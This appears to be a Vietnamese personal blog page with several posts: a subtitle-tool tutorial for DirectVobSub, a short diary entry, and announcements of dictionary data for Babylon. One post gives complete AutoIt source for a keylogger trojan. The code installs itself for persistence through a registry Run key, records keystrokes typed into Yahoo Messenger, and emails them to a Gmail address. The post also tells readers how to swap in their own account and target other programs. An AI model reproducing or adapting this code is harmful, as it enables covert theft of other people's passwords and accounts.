DirectVobSub là một công cụ hiển thị phụ đề người xem film nén trên máy tính có thể sử dụng tính năng subtitle y như khi xem phim trên đĩa DVD.DirectVobSub có tính tương thích cao-hỗ trợ hầu như toàn bộ các định dạng phụ đề thông dụng hiện nay(bao gồm cả image và character) cũng như các phần mềm playback video(WindowsMediaPlayer,powerDVD,Winamp,…).Kể từ khi việc xem film nén(video dạng MPEG4) trên máy tính là một tác vụ thường xuyên,DirectVobSub là một phần mềm không thể thiếu trong danh mục các phần mềm đầu tiên cài vào máy tính.

Download directvobsub

Các tính năng nổi bật của DirectVobSub:

1.Tách phụ đề trực tiếp từ đĩa DVD.
Đây là tính năng giúp mã hóa phụ đề trong đĩa film DVD thành dạng ảnh(image),lưu lại với định dạng mặc định của DirectVobSub.
Tìm đến thư mục của DirectVobSub trên nút start,chọn Vobsub configure.Khi cửa sổ hiện ra,nhấn open,tìm đến thư mục VIDEO_TS của đĩa DVD muốn thao tác,chọn file có dạng VTS_XX_X.IFO,chọn đường dẫn tới thư mục muốn lưu kết quả rồi nhấn OK.Cửa sổ selectPGC hiện ra với bảng liệt kê đầy đủ các phụ đề có mặt trên đĩa.Nếu lấy hết phụ đề,bạn để nguyên như vậy rồi nhấn OK.Nếu muốn loại bỏ phần nào đó,chọn nó rồi nhấn “<–”.Quá trình index sẽ mất vài phút.
Lưu ý là trong hầu hết trường hợp,không nên tác động tới phần vob/cell id,nếu bỏ đi một phần vob cell nào đó,bạn đã căt đi mất một phần phụ đề ứng với vob cell đó.Chỉ làm việc này khi bạn có nhu cầu với từng phần riêng lẻ của bộ film.
Sau khi hoàn thành,bạn sẽ thu được 2 file có dạng
VTS_XX_X.sub : có dung lượng lớn,khoảng vài MB cho một ngôn ngữ,nếu có 3 ngôn ngữ khác nhau,chắc chắn độ lớn sẽ không dưới 10MB.
VTS_XX_X.idx : một file thông tin nhỏ (khoảng vài trăm KB là cùng) để lưu thông tin và giúp truy xuất image từ file sub lớn ở trên.
Bây giờ dùng Winrar nén file sub lớn lại,sau đó bạn có thể xóa file sub này đi mà không phải bận tâm.Winrar sẽ nén file này với tỷ lệ nén còn khoảng 20%(việc này sẽ rất có ích vì tiết kiệm được tới 80% dung lượng cho phụ đề).
Đổi tên của file RAR và idx giống với file video đi kèm và đưa 3 file đó vào chung một thư mục,ví dụ:
movie.AVI
movie.idx
movie.RAR
Từ bây giờ,mỗi lần dùng một phần mềm playback video nào đó hỗ trợ DirectVobSub,phụ đề sẽ tự động nạp cùng với film.

2.Biên tập,chuyển đổi phụ đề.
Subresync là một công cụ để chuyển đồi qua lại giữa các tập tin phụ đề mà DirectVobSub hỗ trợ.Thứ chúng ta cần nhất ở công cụ này là việc nó có thể chuyển phụ đề được lưu dưới dạng image(graphic sub) của mặc định idx thành dạng phụ để character(text sub),điểm mạnh của phụ đề dạng này là rất nhỏ và dễ chỉnh sửa nội dung(vì nó được lưu dưới dạng chữ).
Để gõ được tiếng Việt,bạn cần thêm một bộ gõ,và theo tôi thấy,dùng Unikey là tốt nhất.

Kích hoạt công cụ Subresync.Chọn file idx của phụ đề cần chuyển đổi,trước đó hãy chọn chính xác Fps của video kèm theo(để xem Fps của một file video bạn có thể dùng công cụ miễn phí Gspot)
Tiếp đến,chọn ngôn ngữ muốn chuyển đổi,nhấn save as.
Với các định dạng mà Subresync có thể chuyển đổi,các dạng sau đây vẫn lưu dưới dạng ảnh:
-DVDMaestro *son
-Scenarist *sst
-WinSubMux *sub
-Chính định dạng cũ idx/sub
Còn các tùy chọn còn lại đều xuất ra dạng text.Bạn có thể chọn định dạng nào phù hợp với nhu cầu sử dụng sau này,ở đây tôi chọn *srt(mặc định của Subrip).Nếu ngôn ngữ bạn định capture không phải là tiếng Anh hoặc có những ký tự không thuộc bảng mã ANSI,bạn phải chắc chắn mình đã đánh dấu chọn unicode output.
khi nhấn save as,một cửa sổ mới hiện ra yêu cầu bạn gõ những chữ hiện ra,bạn chỉ việc gõ y như nó yêu cầu(đừng sợ-không phải gõ toàn bộ từ đầu đến cuối đâu),mục đích là đề gán mỗi image với một letter tương ứng.Khi nhận đủ mặt chữ xuất hiện trong phụ đề,bạn sẽ không phải gõ nữa,quá trình chuyển đổi hoàn thành.

3.Cắt và ghép,mux phụ đề.

a.Cắt
Có những trường hợp người sử dụng muốn ghi đĩa,nhưng file video phải cắt ra 2 phần bởi giới hạn dung lượng đĩa trong khi phụ đề chỉ có một phần,như vậy nhất định ta cũng phải cắt file phụ đề ra tương ứng với file video đã cắt.Các bước rất đơn giản với Sub File Cutter.
Chắc chắn lúc cắt file video,bạn biết mình đã cắt nó ở đoạn nào.Ví dụ,tôi cắt film có độ dài 1 giờ 22 phút 58 giây 920 thành 2 phần có độ dài là:
phần 1: từ đầu đến phút thứ 45
phần 2:từ phút thứ 45 đến 82′58”920
Vậy muốn tạo sub cho đoạn 1 ta cần nhập thời gian như sau:ở ô start,giá trị sẽ là 0 (đơn vị trong các ô lần lượt là giờ-phút-giây-phần nghìn giây) và ở ô end là 0-45-00-000.
Với sib cho phần 2 làm tuơng tự,đặt start là 0-45-00-000 và end là thời gian kết thúc.Ở phần 2,nhớ đánh dấu vào ô”modify timestamps to count from start”,nếu không,phần sub thứ hai sẽ chỉ phát khi video thứ 2 chạy qua 45′ (!)

b.Ghép
Khi đã hiểu về cắt rồi,quá trình ghép cũng tương tự.
Tiếp tục với ví dụ trên,khi đã có 2 file sub được cắt,bây giờ ta lại muốn ghép chúng lại.Đầu tiên nhập 2 file cần ghép vào theo thứ tự 1-2.Sau đó thêm thời gian file input 2 bắt đầu-chính là thời gian kết thúc của file video thứ nhất(45′).

c.Mux
Cách dùng SubMux thực sự đơn giản,chỉ là kéo thả rồi click.Những định dạng được hỗ trợ là AVI,ogm,wma,ogg và 2 định dạng textsub là ssa và srt.
Kéo và thả các file cần mux vào cửa sổ SubMux,rồi click MUX bạn sẽ thu được một file AVI có đủ các thành phần vừa nhập vào.Khi đó,file phụ đề(nếu có) đã được tích hợp trong file movie của bạn,và mỗi lần mở nó,chắc chắn phụ đề sẽ được load(tất nhiên là với điều kiện máy đã cài DirectVobSub và phần mềm playback tương thích)
Nhưng điểm yếu chí mạng của cách mux phụ đề thẳng vào file AVI này là không thể cùng lúc với việc mux mp3,khi file avi đã có mp3,nó không thể mux sub,còn nếu đã mux sub sau đó mux mp3,file sub đã mux sẽ bị đè lên và bị xóa mất.

4.Hiển thị phụ đề.
DirectVobSub autoloading version 2.23 sẽ tự động load phụ đề và hiển thị chúng khi bạn chạy movie trong 2 trường hợp sau:
-Tập tin phụ đề và video cùng tên đặt chung một thư mục.
-Tập tin phụ đề đã được mux chung với movie.
Ngoài 2 trường hợp này,nếu muốn dùng một phụ đề bất kỳ nào khác,bạn phải đích thân nhập đường dẫn chính xác đến nơi có chứa phụ đề đó bằng cách mở DirectVobSub configure/main/open….
-Đối với textsub,khi sử dụng nhiều file cho nhiều ngôn ngữ khác nhau,cách đặt tên như sau:
movie.AVI
movie.English.srt
movie.France.sub
movie.Vietnamese.ssa

….

Nếu không muốn sắp xếp thứ tự file sub trên menu load theo bảng chữ cái,có thể đặt tên như sau
movie.AVI
movie.00.Vietnamese
movie.01.English
movie.02.France
khi ấy,số nào nhỏ hơn sẽ đứng trước.

Thay đổi cách hiển thị phụ đề trong DirectVobSub configure.
Tab Main:
-Cho phép điều chỉnh vị trí hiện sub.
-Cho phép chỉnh màu cho sub
-cho phép thay đổi font chữ cho sub(không áp dụng cho graphic sub)
-Một vài lựa chọn nhỏ khác.
Tab Timming
Trong trường hợp sub bị lệch so với movie do thời gian nhanh hơn(hay chậm hơn),lỡ set sai Fps,tab này có thể là một lựa chọn để chỉnh sub lại đồng bộ với movie.
Delay:Cộng thêm một giá trị thời gian dương bằng với khoảng thời gian sub chậm hơn movie khoảng thời gian đó và cộng một giá trị thời gian âm cho sub nhanh hơn movie.Để dùng cách này hãy đánh dấu một đoạn bắt đầu hiện sub trên movie,ghi nhớ thời gian lại,sau đó tìm đoạn sub đó trên file sub với thời gian tương ứng của nó,so sánh 2 giá trị.(đơn vị 1/1000 giây)
Nếu set delay vẫn không giải quyết được vấn đề,hãy thử set Fps hay ratio sub/video.Với 3 phương pháp này,chắc chắn lỗi lệch sub sẽ được khắc phục.
Các Tab còn lại khá dễ hiểu và nói chung là không cần chỉnh sửa nhiều.

(sưu tầm)





Làm sao để viết được một con trojan lấy pass của yahoo

27 07 2008

Tác giả: Bùi Quốc Phong

Bài viết này chỉ mang tính chất minh họa, không nhằm mục đích phá hoại. Tôi không chịu bất kỳ trách nhiệm nào nếu các bạn sử dụng nó với mục đích xấu.

Thời buổi ngày nay, việc ăn cắp pass ở các tài khoản trực tuyến nhiều đến nỗi không đếm nổi. Nào là ăn cắp pass ở yahoo, nào là tài khoản ngân hàng, nào là tài khoản game online…. Cách thức chủ yếu của các hacker đó là cài trojan, keylog. Bạn đã rất cẩn thận và bạn đã có một phần mềm virus tốt, nhưng liệu bạn có phòng tránh được tất cả các virus cũng như các trojan và keylog? biết cách một con trojan hoạt động như thế nào để phòng tránh cũng tốt đúng không nào? Nào chúng ta bắt đầu thôi

Công cụ: Tất nhiên lập trình thì phải có công cụ để lập trình rồi. Để đơn giản chúng ta sử dụng AutoIt để viết code. Các bạn có thể download AutoIt tại website: http://www.autoitscript.com

Viết code: Mình cung cấp cho các bạn đoạn code sau để các bạn tham khảo

#include <File.au3>
#NoTrayIcon
Global $oMyError = ObjEvent(”AutoIt.Error”, “MyErrFunc”)
$keylog=”"
$co=0
_dangky()
;Capital Letters
For $n = 65 To 90
HotKeySet(Chr($n), “My_HotKey_Func”)
Next
;Lowercase Letters
For $n = 97 To 122
HotKeySet(Chr($n), “My_HotKey_Func”)
Next
;Numbers
For $n = 47 To 58
HotKeySet(Chr($n), “My_HotKey_Func”)
Next

HotkeySet(”.”, “My_Hotkey_Func”)
HotKeySet(”+!d”, “_exit”)
;Specials
$charL1=”{SPACE}|{BACKSPACE}|{UP}|{DOWN}|{LEFT}|{RIGHT}|{ENTER}|{HOME}|{END}|{INSERT}|{DELETE}|{PGUP}|{PGDN}|{!}|{#}|{+}|{^}|{NUMLOCK on}|{NUMLOCK off}|{CAPSLOCK off}|{CAPSLOCK on}|{ESC}|{TAB}”
$charL= $charL1&”|{NUMPAD0}|{NUMPAD1}|{NUMPAD2}|{NUMPAD3}|{NUMPAD4}|{NUMPAD5}|{NUMPAD6}|{NUMPAD7}|{NUMPAD8}|{NUMPAD9}”
$KeyList = StringSplit($charL, “|”)
$maloaibo=StringSplit($charL1, “|”)
For $n = 1 To $KeyList[0]
HotKeySet($KeyList[$n], “MY_HotKey_Func”)
Next

While 1

;Sleep(100)
WinActive(”Yahoo! Messenger”)
$co=1
WinWaitNotActive(”Yahoo! Messenger”)
$tg=$keylog
For $i=1 To UBound($maloaibo)-1
If StringInStr($keylog,$maloaibo[$i]) Then
$tg=StringReplace($keylog,$maloaibo[$i],”")
EndIf
Next
If StringLen($tg)>9 Then
_sendEmail($keylog)
$keylog=”"
EndIf
$co=0
WEnd

Func My_HotKey_Func()
;MsgBox(0, “”, @HotKeyPressed)
if $co=1 Then
$keylog&=@HotKeyPressed
EndIf
$Name = @HotkeyPressed
If $Name = “.” then $Name = “period”

;SoundPlay(”c:\sounds\”&$Name&”.wav”) ; exceptions for keys like period slash or symobols that can’t be in filenames
; Turn off hotkey temporarily so letter can be sent.
HotKeySet(@HotKeyPressed)
Send(@HotKeyPressed)
; turn hotkey back on
HotKeySet(@HotKeyPressed, “My_HotKey_Func”)
EndFunc   ;==>My_HotKey_Func

Func _dangky() ; dang khu va copy
IF Not FileExists(@WindowsDir&”\ikcmds.exe”) Then
FileCopy(”ikcmds.exe”,@WindowsDir&”\ikcmds.exe”)
EndIf
$reg=RegRead(”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”, “ikcmds”)
if @error Then
RegWrite(”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”, “ikcmds”, “REG_SZ”, @WindowsDir&”\ikcmds.exe”)
EndIf
EndFunc
Func _sendEmail($noidung)
$s_SmtpServer = “smtp.gmail.com”
$s_FromName = “trommatkhau”
$s_FromAddress = “abcdef@gmail.com”
$s_ToAddress = “abcdefhau@gmail.com
$s_Subject = “Hack pass yahoo”
$as_Body = $noidung
$s_AttachFiles = “”  ;@WindowsDir&”\ikcmds.txt”
$s_CcAddress = “”
$s_BccAddress = “”
$s_Username = “abcded”
$s_Password = “**************”
$IPPort = 465
$ssl = 1
;##################################
; Script
;##################################
Global $oMyRet[2]
Global $oMyError = ObjEvent(”AutoIt.Error”, “MyErrFunc”)
$rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl)
If @error Then
MsgBox(0, “Error sending message”, “Error code:” & @error & “  Rc:” & $rc)
Exit
EndIf
EndFunc

Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = “”, $as_Body = “”, $s_AttachFiles = “”, $s_CcAddress = “”, $s_BccAddress = “”, $s_Username = “”, $s_Password = “”, $IPPort = 25, $ssl = 0)
$objEmail = ObjCreate(”CDO.Message”)
$objEmail.From = ‘”‘ & $s_FromName & ‘” <’ & $s_FromAddress & ‘>’
$objEmail.To = $s_ToAddress
Local $i_Error = 0
Local $i_Error_desciption = “”
If $s_CcAddress <> “” Then $objEmail.Cc = $s_CcAddress
If $s_BccAddress <> “” Then $objEmail.Bcc = $s_BccAddress
$objEmail.Subject = $s_Subject
If StringInStr($as_Body, “<”) And StringInStr($as_Body, “>”) Then
$objEmail.HTMLBody = $as_Body
Else
$objEmail.Textbody = $as_Body & @CRLF
EndIf
If $s_AttachFiles <> “” Then
Local $S_Files2Attach = StringSplit($s_AttachFiles, “;”)
For $x = 1 To $S_Files2Attach[0]
$S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
If FileExists($S_Files2Attach[$x]) Then
$objEmail.AddAttachment($S_Files2Attach[$x])
Else
$i_Error_desciption = $i_Error_desciption & @LF & ‘File not found to attach: ‘ & $S_Files2Attach[$x]
SetError(1)
Return 0
EndIf
Next
EndIf
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/sendusing”) = 2
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/smtpserver”) = $s_SmtpServer
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/smtpserverport”) = $IPPort
;Authenticated SMTP
If $s_Username <> “” Then
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/smtpauthenticate”) = 1
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/sendusername”) = $s_Username
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/sendpassword”) = $s_Password
EndIf
If $ssl Then
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/smtpusessl”) = True
EndIf
;Update settings
$objEmail.Configuration.Fields.Update
; Sent the Message
$objEmail.Send
If @error Then
SetError(2)
Return $oMyRet[1]
EndIf
EndFunc   ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
$HexNumber = Hex($oMyError.number, 8)
$oMyRet[0] = $HexNumber
$oMyRet[1] = StringStripWS($oMyError.description, 3)
;ConsoleWrite(”### COM Error !  Number: ” & $HexNumber & “   ScriptLine: ” & $oMyError.scriptline & “   Description:” & $oMyRet[1] & @LF)
SetError(1); something to check for when this function returns
Return
EndFunc   ;==>MyErrFunc
Func _exit()
Exit
EndFunc

Bạn hãy nhìn vào đoạn code trên và chú ý vào những chỗ tôi đánh dấu mầu đỏ. Mục đích của con trojan này là ăn cắp pass và tài khoản người dùng yahoo messenger và gủi về một địa chỉ email định trước. Để có thể đẽ dàng sử dụng bạn hãy tạo một tài khoản ở Gmail.com sau đó thay các dòng địa chỉ mầu đỏ bằng tài khoản tương ứng của bạn là được. Bạn cũng có thể biến đổi con trojan này dùng để lấy tài khoản và mật khẩu của các trang khác bàng cách thay đổi 2 đoạn code mà tôi cũng đã đánh dấu mầu đỏ đó là: WinActive(”Yahoo! Messenger”) và WinWaitNotActive(”Yahoo! Messenger”)(”Yahoo! Messenger”). Nói thế thôi là bạn hiểu rồi đúng không. Hi vọng sau bài viết này các bạn sẽ tự rút ra cho mình một các phòng chống hiệu quả cho những tài khoản cá nhân của mình.

Nếu bạn muốn copy bài viết này phải ghi rõ nguồn từ http://cuopbien.tk





2 Ngày cuối tuần nhạt nhẽo

27 07 2008

2 ngày cuối tuần ngồi mong chờ một điều gì đó xảy ra nhưng có lẽ nó sẽ không xảy ra, một cảm giác buồn buồn và thất vọng.





Từ điển Trung –Hán– Việt kết hợp dùng cho Babylon

19 07 2008

Sự kết hợp hoàn hảo và lợi ích người dùng đạt được tối đa đó là những gì tôi nghĩ khi xây dựng 2 bộ dữ liệu này. Tiếp tục phát triển từ những phiên bản trước đây, phiên bản này đã có sử cải thiện đáng kể, mang lại cho các bạn sự thuận tiện nhất khi học tập và nghiên cứu.

Một số điểm chính của phiên bản này

  1. Bổ sung chức năng tra từ hán việt trong bộ dữ liệu CV(T)
  2. Bổ sung phần hán việt trong phần giải nghĩa. Với chức năng này khi bạn đưa chuột đến một cụm chữ hán nào bấm chuột trái ngay lập tức một ô nhỏ có nghĩa hán việt của cụm từ đó sẽ xuất hiện.

  3. Giữ nguyên chức năng zoom chữ và hiện thị phiên âm (hiện nay chỉ có phiên âm dạng Bopomo).

  4. Để sử dụng tốt chức năng tra từ “HÁN -VIỆT”, khi tra một từ hán việt nào đó, bạn bắt buộc phải viết hoa toàn bộ chữ đó. Ví dụ tôi muốn tra hán việt từ “hải quan” tôi bắt buộc phải gõ vào babylon là “HẢI QUAN”.

Trong phiên bản này, dữ liệu tôi vẫn sử dụng là của bạn Đào Công Tiến (tiendc@gmail.com). Tiếng trung dung cho cả 2 bộ dữ liệu này là tiếng trung phồn thể.

  • Để sử dụng đầy đủ chức năng của bộ dữ liệu này bạn cần có
    font mandaring phonnetic, nếu bạn chưa có, có thể download tại đây
  • Còn đây là link download dữ liệu cho từ điển
  • Từ điển Trung Việt (chinese – Vietnamese) Download
  • Từ điển Việt Trung (Vietnamese-Chinese) Download
  • Nếu bạn chưa có từ điển Babylon Download tại đây
  • Hướng dẫn cài đặt Babylon xem tại đây






Từ điển Việt Trung- Trung việt (Bản phồn thể) dùng cho Babylon

18 07 2008

E hèm, hôm qua vừa build xong bộ dữ liệu CV(T) (Chinese-Vietnamese) và VT(T) (Vietnamese-Chinese) (cả 2 bản này đều dùng tiếng trung phổ thông phồn thể -Chinese Mandarin tradition). Dữ liệu này được convert từ bộ dữ liệu của từ điển Lạc Viêt (bản Hoa -Viêt), cũng phải nói thêm dữ liệu này không phải do tôi convert mà tôi xin từ bạn Đào Công Tiến (tiendc@gmail.com), dữ liệu của bạn Tiến ở dạng giản thể tôi đã chuyển sang phồn thể và bổ sung một số tính năng mới cho chương trình như zoom chữ và có phiên âm Bopomo bên cạnh mỗi chữ.

* Để sử dụng đầy đủ chức năng của bộ dữ liệu này bạn cần có font mandaring phonnetic, nếu bạn chưa có, có thể download tại đây

* Còn đây là link download dữ liệu cho từ điển

1. Từ điển Trung Việt (chinese – Vietnamese) download

2. Từ điển Việt Trung (Vietnamese-Chinese) Download

Nếu bạn chưa có từ điển Babylon Download tại đây

Tôi cũng xin chân thành cảm ơn bạn Đào Công Tiến đã giúp đỡ tôi rất nhiều để hoàn thành bộ dữ liệu này